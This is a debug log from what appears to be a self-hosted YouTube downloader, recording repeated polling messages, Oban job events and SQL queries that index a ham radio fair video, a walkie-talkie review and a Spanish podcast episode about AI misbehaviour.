22:07:40.454 [debug] Current batch of media processed. Will check again in 1000ms 22:07:41.427 [debug] Current batch of media processed. Will check again in 1000ms 22:07:41.455 [debug] Current batch of media processed. Will check again in 1000ms 22:07:42.428 [debug] Current batch of media processed. Will check again in 1000ms 22:07:42.456 [debug] Current batch of media processed. Will check again in 1000ms 22:07:43.429 [debug] Current batch of media processed. Will check again in 1000ms 22:07:43.457 [debug] Current batch of media processed. Will check again in 1000ms 22:07:44.430 [debug] Current batch of media processed. Will check again in 1000ms 22:07:44.458 [debug] Current batch of media processed. Will check again in 1000ms 22:07:45.431 [debug] Current batch of media processed. Will check again in 1000ms 22:07:45.459 [debug] Current batch of media processed. Will check again in 1000ms 22:07:46.432 [debug] Current batch of media processed. Will check again in 1000ms 22:07:46.460 [debug] Current batch of media processed. Will check again in 1000ms 22:07:47.433 [debug] Current batch of media processed. Will check again in 1000ms 22:07:47.461 [debug] Current batch of media processed. Will check again in 1000ms 22:07:48.434 [debug] Current batch of media processed. Will check again in 1000ms 22:07:48.462 [debug] Current batch of media processed. Will check again in 1000ms 22:07:49.435 [debug] Current batch of media processed. Will check again in 1000ms 22:07:49.463 [debug] Current batch of media processed. Will check again in 1000ms 22:07:50.436 [debug] Current batch of media processed. Will check again in 1000ms 22:07:50.464 [debug] Current batch of media processed. Will check again in 1000ms 22:07:51.127 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:51.437 [debug] Current batch of media processed. Will check again in 1000ms 22:07:51.465 [debug] Current batch of media processed. Will check again in 1000ms 22:07:52.438 [debug] Current batch of media processed. Will check again in 1000ms 22:07:52.466 [debug] Current batch of media processed. Will check again in 1000ms 22:07:53.439 [debug] Current batch of media processed. Will check again in 1000ms 22:07:53.467 [debug] Current batch of media processed. Will check again in 1000ms 22:07:54.440 [debug] Current batch of media processed. Will check again in 1000ms 22:07:54.468 [debug] Current batch of media processed. Will check again in 1000ms 22:07:55.441 [debug] Current batch of media processed. Will check again in 1000ms 22:07:55.469 [debug] Current batch of media processed. Will check again in 1000ms 22:07:56.442 [debug] Current batch of media processed. Will check again in 1000ms 22:07:56.470 [debug] Current batch of media processed. Will check again in 1000ms 22:07:57.443 [debug] Current batch of media processed. Will check again in 1000ms 22:07:57.471 [debug] Current batch of media processed. Will check again in 1000ms 22:07:58.444 [debug] Current batch of media processed. Will check again in 1000ms 22:07:58.472 [debug] Current batch of media processed. Will check again in 1000ms 22:07:59.445 [debug] Current batch of media processed. Will check again in 1000ms 22:07:59.473 [debug] Current batch of media processed. Will check again in 1000ms 22:08:00.084 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:00.446 [debug] Current batch of media processed. Will check again in 1000ms 22:08:00.474 [debug] Current batch of media processed. Will check again in 1000ms 22:08:01.447 [debug] Current batch of media processed. Will check again in 1000ms 22:08:01.475 [debug] Current batch of media processed. Will check again in 1000ms 22:08:02.448 [debug] Current batch of media processed. Will check again in 1000ms 22:08:02.476 [debug] Current batch of media processed. Will check again in 1000ms 22:08:03.449 [debug] Current batch of media processed. Will check again in 1000ms 22:08:03.477 [debug] Current batch of media processed. Will check again in 1000ms 22:08:04.450 [debug] Current batch of media processed. Will check again in 1000ms 22:08:04.478 [debug] Current batch of media processed. Will check again in 1000ms 22:08:05.451 [debug] Current batch of media processed. Will check again in 1000ms 22:08:05.479 [debug] Current batch of media processed. Will check again in 1000ms 22:08:06.452 [debug] Current batch of media processed. Will check again in 1000ms 22:08:06.480 [debug] Current batch of media processed. Will check again in 1000ms 22:08:07.453 [debug] Current batch of media processed. Will check again in 1000ms 22:08:07.481 [debug] Current batch of media processed. Will check again in 1000ms 22:08:08.454 [debug] Current batch of media processed. Will check again in 1000ms 22:08:08.482 [debug] Current batch of media processed. Will check again in 1000ms 22:08:09.455 [debug] Current batch of media processed. Will check again in 1000ms 22:08:09.483 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Una vision en camara subjetiva, sin comentarios, del ambiente y de lo que había expuesto en el MercaHam 2025 de Cerdanyola. \n\n#mercaham #cerdanyolavalles #radioaficionados #hamradio", "duration" => 1726, "filename" => "/downloads/music/ea3grn/EXTRA - MERCAHAM 2025 CERDANYOLA.m4a", "id" => "MOL8WlBmiEk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MOL8WlBmiEk", "playlist_index" => 17, "timestamp" => 1749905830, "title" => "EXTRA - MERCAHAM 2025 CERDANYOLA", "upload_date" => "20250614"} 22:08:09.484 [debug] QUERY OK source="sources" db=0.5ms idle=1746.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:08:09.485 [debug] QUERY OK source="sources" db=0.4ms idle=1747.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:08:09.486 [debug] QUERY OK source="media_items" db=0.7ms idle=1747.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-14 12:57:10Z], 3] 22:08:09.487 [debug] QUERY OK source="media_items" db=0.7ms idle=1138.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Una vision en camara subjetiva, sin comentarios, del ambiente y de lo que había expuesto en el MercaHam 2025 de Cerdanyola. \n\n#mercaham #cerdanyolavalles #radioaficionados #hamradio", "EXTRA - MERCAHAM 2025 CERDANYOLA", "fa685345-c1c4-4cb7-86c9-49eb81762d7c", 1726, false, "MOL8WlBmiEk", "https://www.youtube.com/watch?v=MOL8WlBmiEk", 17, "/downloads/music/ea3grn/EXTRA - MERCAHAM 2025 CERDANYOLA.m4a", false, false, false, 3, [], 98, ~U[2025-06-14 12:57:10Z], ~U[2026-02-07 21:08:09Z], ~U[2026-02-07 21:08:09Z], "Una vision en camara subjetiva, sin comentarios, del ambiente y de lo que había expuesto en el MercaHam 2025 de Cerdanyola. \n\n#mercaham #cerdanyolavalles #radioaficionados #hamradio", "EXTRA - MERCAHAM 2025 CERDANYOLA", 1726, false, "MOL8WlBmiEk", "https://www.youtube.com/watch?v=MOL8WlBmiEk", "/downloads/music/ea3grn/EXTRA - MERCAHAM 2025 CERDANYOLA.m4a", false, 3, ~U[2025-06-14 12:57:10Z]] 22:08:09.488 [debug] QUERY OK source="sources" db=0.4ms idle=139.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:08:09.488 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:09.489 [debug] QUERY OK source="media_items" db=0.3ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1319] 22:08:09.489 [debug] Current batch of media processed. Will check again in 1000ms 22:08:10.456 [debug] Current batch of media processed. Will check again in 1000ms 22:08:10.489 [debug] Current batch of media processed. Will check again in 1000ms 22:08:11.457 [debug] Current batch of media processed. Will check again in 1000ms 22:08:11.490 [debug] Current batch of media processed. Will check again in 1000ms 22:08:12.458 [debug] Current batch of media processed. Will check again in 1000ms 22:08:12.491 [debug] Current batch of media processed. Will check again in 1000ms 22:08:13.459 [debug] Current batch of media processed. Will check again in 1000ms 22:08:13.492 [debug] Current batch of media processed. Will check again in 1000ms 22:08:14.460 [debug] Current batch of media processed. Will check again in 1000ms 22:08:14.493 [debug] Current batch of media processed. Will check again in 1000ms 22:08:15.461 [debug] Current batch of media processed. Will check again in 1000ms 22:08:15.494 [debug] Current batch of media processed. Will check again in 1000ms 22:08:16.462 [debug] Current batch of media processed. Will check again in 1000ms 22:08:16.495 [debug] Current batch of media processed. Will check again in 1000ms 22:08:17.463 [debug] Current batch of media processed. Will check again in 1000ms 22:08:17.496 [debug] Current batch of media processed. Will check again in 1000ms 22:08:18.464 [debug] Current batch of media processed. Will check again in 1000ms 22:08:18.497 [debug] Current batch of media processed. Will check again in 1000ms 22:08:19.465 [debug] Current batch of media processed. Will check again in 1000ms 22:08:19.498 [debug] Current batch of media processed. Will check again in 1000ms 22:08:20.466 [debug] Current batch of media processed. Will check again in 1000ms 22:08:20.499 [debug] Current batch of media processed. Will check again in 1000ms 22:08:21.129 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:21.467 [debug] Current batch of media processed. Will check again in 1000ms 22:08:21.500 [debug] Current batch of media processed. Will check again in 1000ms 22:08:22.468 [debug] Current batch of media processed. Will check again in 1000ms 22:08:22.501 [debug] Current batch of media processed. Will check again in 1000ms 22:08:23.469 [debug] Current batch of media processed. Will check again in 1000ms 22:08:23.502 [debug] Current batch of media processed. Will check again in 1000ms 22:08:24.470 [debug] Current batch of media processed. Will check again in 1000ms 22:08:24.503 [debug] Current batch of media processed. Will check again in 1000ms 22:08:25.471 [debug] Current batch of media processed. Will check again in 1000ms 22:08:25.504 [debug] Current batch of media processed. Will check again in 1000ms 22:08:26.472 [debug] Current batch of media processed. Will check again in 1000ms 22:08:26.505 [debug] Current batch of media processed. Will check again in 1000ms 22:08:27.473 [debug] Current batch of media processed. Will check again in 1000ms 22:08:27.506 [debug] Current batch of media processed. Will check again in 1000ms 22:08:28.474 [debug] Current batch of media processed. Will check again in 1000ms 22:08:28.507 [debug] Current batch of media processed. Will check again in 1000ms 22:08:29.475 [debug] Current batch of media processed. Will check again in 1000ms 22:08:29.508 [debug] Current batch of media processed. Will check again in 1000ms 22:08:30.476 [debug] Current batch of media processed. Will check again in 1000ms 22:08:30.509 [debug] Current batch of media processed. Will check again in 1000ms 22:08:31.477 [debug] Current batch of media processed. Will check again in 1000ms 22:08:31.510 [debug] Current batch of media processed. Will check again in 1000ms 22:08:32.478 [debug] Current batch of media processed. Will check again in 1000ms 22:08:32.511 [debug] Current batch of media processed. Will check again in 1000ms 22:08:33.479 [debug] Current batch of media processed. Will check again in 1000ms 22:08:33.512 [debug] Current batch of media processed. Will check again in 1000ms 22:08:34.480 [debug] Current batch of media processed. Will check again in 1000ms 22:08:34.513 [debug] Current batch of media processed. Will check again in 1000ms 22:08:35.481 [debug] Current batch of media processed. Will check again in 1000ms 22:08:35.514 [debug] Current batch of media processed. Will check again in 1000ms 22:08:36.482 [debug] Current batch of media processed. Will check again in 1000ms 22:08:36.515 [debug] Current batch of media processed. Will check again in 1000ms 22:08:37.483 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep3️⃣3️⃣: Cuando la IA se Reveló. 🤖⚔️\n\nHoy David García Martínez y yo os vamos a contar unos casos divertidos o no tanto, de cuando la IA No ha hecho lo que se le ordena.🫡\n\nNo vamos a hablar de cuando la IA no te contesta bien y te cansas de decírselo y decírselo y sigue erre que erre sin darte la respuesta que tu esperas, sino en los que la IA a pensado mas allá para buscar la solución a un problema que se le planteaba... incluso cuando el problema implicaba su destrucción o la de una vida humana....\n\nComo bien sabéis la IA ha sido entrenada con material que proviene del hombre (y la mujer).... así que ... imaginaros por donde irán los tiros... la solución a 10 minutos de podcast... con entrada de película.🐒🐒🐒\n\n👉🏼 …. y por fa 🙏 (si quieres ayudarnos) :\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#iamique #Origen #IAGen #GenAI #ChatGPT #Claude\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 615, "filename" => "/downloads/music/IA mí QUÉ/EP.33: LAS VECES QUE LA IA SE REBELÓ.m4a", "id" => "ioR5Ymx4HQc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ioR5Ymx4HQc", "playlist_index" => 17, "timestamp" => 1761903606, "title" => "EP.33: LAS VECES QUE LA IA SE REBELÓ", "upload_date" => "20251031"} 22:08:37.484 [debug] QUERY OK source="sources" db=0.4ms idle=746.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:08:37.485 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=747.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:08:37.486 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=747.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-31 09:40:06Z], 2] 22:08:37.488 [debug] QUERY OK source="media_items" db=1.2ms idle=748.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep3️⃣3️⃣: Cuando la IA se Reveló. 🤖⚔️\n\nHoy David García Martínez y yo os vamos a contar unos casos divertidos o no tanto, de cuando la IA No ha hecho lo que se le ordena.🫡\n\nNo vamos a hablar de cuando la IA no te contesta bien y te cansas de decírselo y decírselo y sigue erre que erre sin darte la respuesta que tu esperas, sino en los que la IA a pensado mas allá para buscar la solución a un problema que se le planteaba... incluso cuando el problema implicaba su destrucción o la de una vida humana....\n\nComo bien sabéis la IA ha sido entrenada con material que proviene del hombre (y la mujer).... así que ... imaginaros por donde irán los tiros... la solución a 10 minutos de podcast... con entrada de película.🐒🐒🐒\n\n👉🏼 …. y por fa 🙏 (si quieres ayudarnos) :\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#iamique #Origen #IAGen #GenAI #ChatGPT #Claude\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.33: LAS VECES QUE LA IA SE REBELÓ", "14d29be4-ed77-44a5-8084-de32891ea4a3", 615, false, "ioR5Ymx4HQc", "https://www.youtube.com/watch?v=ioR5Ymx4HQc", 17, "/downloads/music/IA mí QUÉ/EP.33: LAS VECES QUE LA IA SE REBELÓ.m4a", false, false, false, 2, [], 96, ~U[2025-10-31 09:40:06Z], ~U[2026-02-07 21:08:37Z], ~U[2026-02-07 21:08:37Z], "#IAMIQUE 👉🏼 Ep3️⃣3️⃣: Cuando la IA se Reveló. 🤖⚔️\n\nHoy David García Martínez y yo os vamos a contar unos casos divertidos o no tanto, de cuando la IA No ha hecho lo que se le ordena.🫡\n\nNo vamos a hablar de cuando la IA no te contesta bien y te cansas de decírselo y decírselo y sigue erre que erre sin darte la respuesta que tu esperas, sino en los que la IA a pensado mas allá para buscar la solución a un problema que se le planteaba... incluso cuando el problema implicaba su destrucción o la de una vida humana....\n\nComo bien sabéis la IA ha sido entrenada con material que proviene del hombre (y la mujer).... así que ... imaginaros por donde irán los tiros... la solución a 10 minutos de podcast... con entrada de película.🐒🐒🐒\n\n👉🏼 …. y por fa 🙏 (si quieres ayudarnos) :\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#iamique #Origen #IAGen #GenAI #ChatGPT #Claude\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.33: LAS VECES QUE LA IA SE REBELÓ", 615, false, "ioR5Ymx4HQc", "https://www.youtube.com/watch?v=ioR5Ymx4HQc", "/downloads/music/IA mí QUÉ/EP.33: LAS VECES QUE LA IA SE REBELÓ.m4a", false, 2, ~U[2025-10-31 09:40:06Z]] 22:08:37.488 [debug] QUERY OK source="sources" db=0.5ms idle=90.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:08:37.489 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:08:37.490 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1269] 22:08:37.490 [debug] Current batch of media processed. Will check again in 1000ms 22:08:37.516 [debug] Current batch of media processed. Will check again in 1000ms 22:08:38.490 [debug] Current batch of media processed. Will check again in 1000ms 22:08:38.517 [debug] Current batch of media processed. Will check again in 1000ms 22:08:39.491 [debug] Current batch of media processed. Will check again in 1000ms 22:08:39.518 [debug] Current batch of media processed. Will check again in 1000ms 22:08:40.492 [debug] Current batch of media processed. Will check again in 1000ms 22:08:40.519 [debug] Current batch of media processed. Will check again in 1000ms 22:08:41.493 [debug] Current batch of media processed. Will check again in 1000ms 22:08:41.520 [debug] Current batch of media processed. Will check again in 1000ms 22:08:42.494 [debug] Current batch of media processed. Will check again in 1000ms 22:08:42.521 [debug] Current batch of media processed. Will check again in 1000ms 22:08:43.495 [debug] Current batch of media processed. Will check again in 1000ms 22:08:43.522 [debug] Current batch of media processed. Will check again in 1000ms 22:08:44.496 [debug] Current batch of media processed. Will check again in 1000ms 22:08:44.523 [debug] Current batch of media processed. Will check again in 1000ms 22:08:45.497 [debug] Current batch of media processed. Will check again in 1000ms 22:08:45.524 [debug] Current batch of media processed. Will check again in 1000ms 22:08:46.498 [debug] Current batch of media processed. Will check again in 1000ms 22:08:46.525 [debug] Current batch of media processed. Will check again in 1000ms 22:08:47.499 [debug] Current batch of media processed. Will check again in 1000ms 22:08:47.526 [debug] Current batch of media processed. Will check again in 1000ms 22:08:48.500 [debug] Current batch of media processed. Will check again in 1000ms 22:08:48.527 [debug] Current batch of media processed. Will check again in 1000ms 22:08:49.501 [debug] Current batch of media processed. Will check again in 1000ms 22:08:49.528 [debug] Current batch of media processed. Will check again in 1000ms 22:08:50.502 [debug] Current batch of media processed. Will check again in 1000ms 22:08:50.529 [debug] Current batch of media processed. Will check again in 1000ms 22:08:51.131 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:51.503 [debug] Current batch of media processed. Will check again in 1000ms 22:08:51.530 [debug] Current batch of media processed. Will check again in 1000ms 22:08:52.505 [debug] Current batch of media processed. Will check again in 1000ms 22:08:52.531 [debug] Current batch of media processed. Will check again in 1000ms 22:08:53.505 [debug] Current batch of media processed. Will check again in 1000ms 22:08:53.532 [debug] Current batch of media processed. Will check again in 1000ms 22:08:54.506 [debug] Current batch of media processed. Will check again in 1000ms 22:08:54.533 [debug] Current batch of media processed. Will check again in 1000ms 22:08:55.507 [debug] Current batch of media processed. Will check again in 1000ms 22:08:55.534 [debug] Current batch of media processed. Will check again in 1000ms 22:08:56.508 [debug] Current batch of media processed. Will check again in 1000ms 22:08:56.535 [debug] Current batch of media processed. Will check again in 1000ms 22:08:57.509 [debug] Current batch of media processed. Will check again in 1000ms 22:08:57.536 [debug] Current batch of media processed. Will check again in 1000ms 22:08:58.510 [debug] Current batch of media processed. Will check again in 1000ms 22:08:58.537 [debug] Current batch of media processed. Will check again in 1000ms 22:08:59.511 [debug] Current batch of media processed. Will check again in 1000ms 22:08:59.538 [debug] Current batch of media processed. Will check again in 1000ms 22:09:00.085 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:00.512 [debug] Current batch of media processed. Will check again in 1000ms 22:09:00.539 [debug] Current batch of media processed. Will check again in 1000ms 22:09:01.513 [debug] Current batch of media processed. Will check again in 1000ms 22:09:01.540 [debug] Current batch of media processed. Will check again in 1000ms 22:09:02.514 [debug] Current batch of media processed. Will check again in 1000ms 22:09:02.541 [debug] Current batch of media processed. Will check again in 1000ms 22:09:03.515 [debug] Current batch of media processed. Will check again in 1000ms 22:09:03.542 [debug] Current batch of media processed. Will check again in 1000ms 22:09:04.516 [debug] Current batch of media processed. Will check again in 1000ms 22:09:04.543 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Gracias a Retevis he podido probar los walkies Retevis C62 como os muestro en el video. Me ha sorprendido la calidad del producto y su reductor de ruido. \n\nContenido del video ------------------------------\n00:00 - Presentación\n00:25 - Intro canal\n00:44 - Desembalado - Unboxing\n05:35 - Primeros pasos\n10:59 - Revisando menús\n19:45 - Probando consumo\n21:29 - Mediciones potencia y armónicos\n27:00 - Display a plena luz\n27:40 - Conectado a antena exterior\n32:09 - Midiendo resonancia antena\n34:00 - Probando el reductor de ruido\n41:07 - Conclusiones\n\n#retevis #C62 #walkietalkie #hamradio #radioaficionados #dnr #reductorruidos #AI \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2549, "filename" => "/downloads/music/ea3grn/163 - PROBANDO WALKIE RETEVIS C62 BIBANDA VHF UHF.m4a", "id" => "m7XGWzDRTF0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m7XGWzDRTF0", "playlist_index" => 18, "timestamp" => 1749747656, "title" => "163 - PROBANDO WALKIE RETEVIS C62 BIBANDA VHF UHF", "upload_date" => "20250612"} 22:09:04.544 [debug] QUERY OK source="sources" db=0.6ms idle=1789.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" 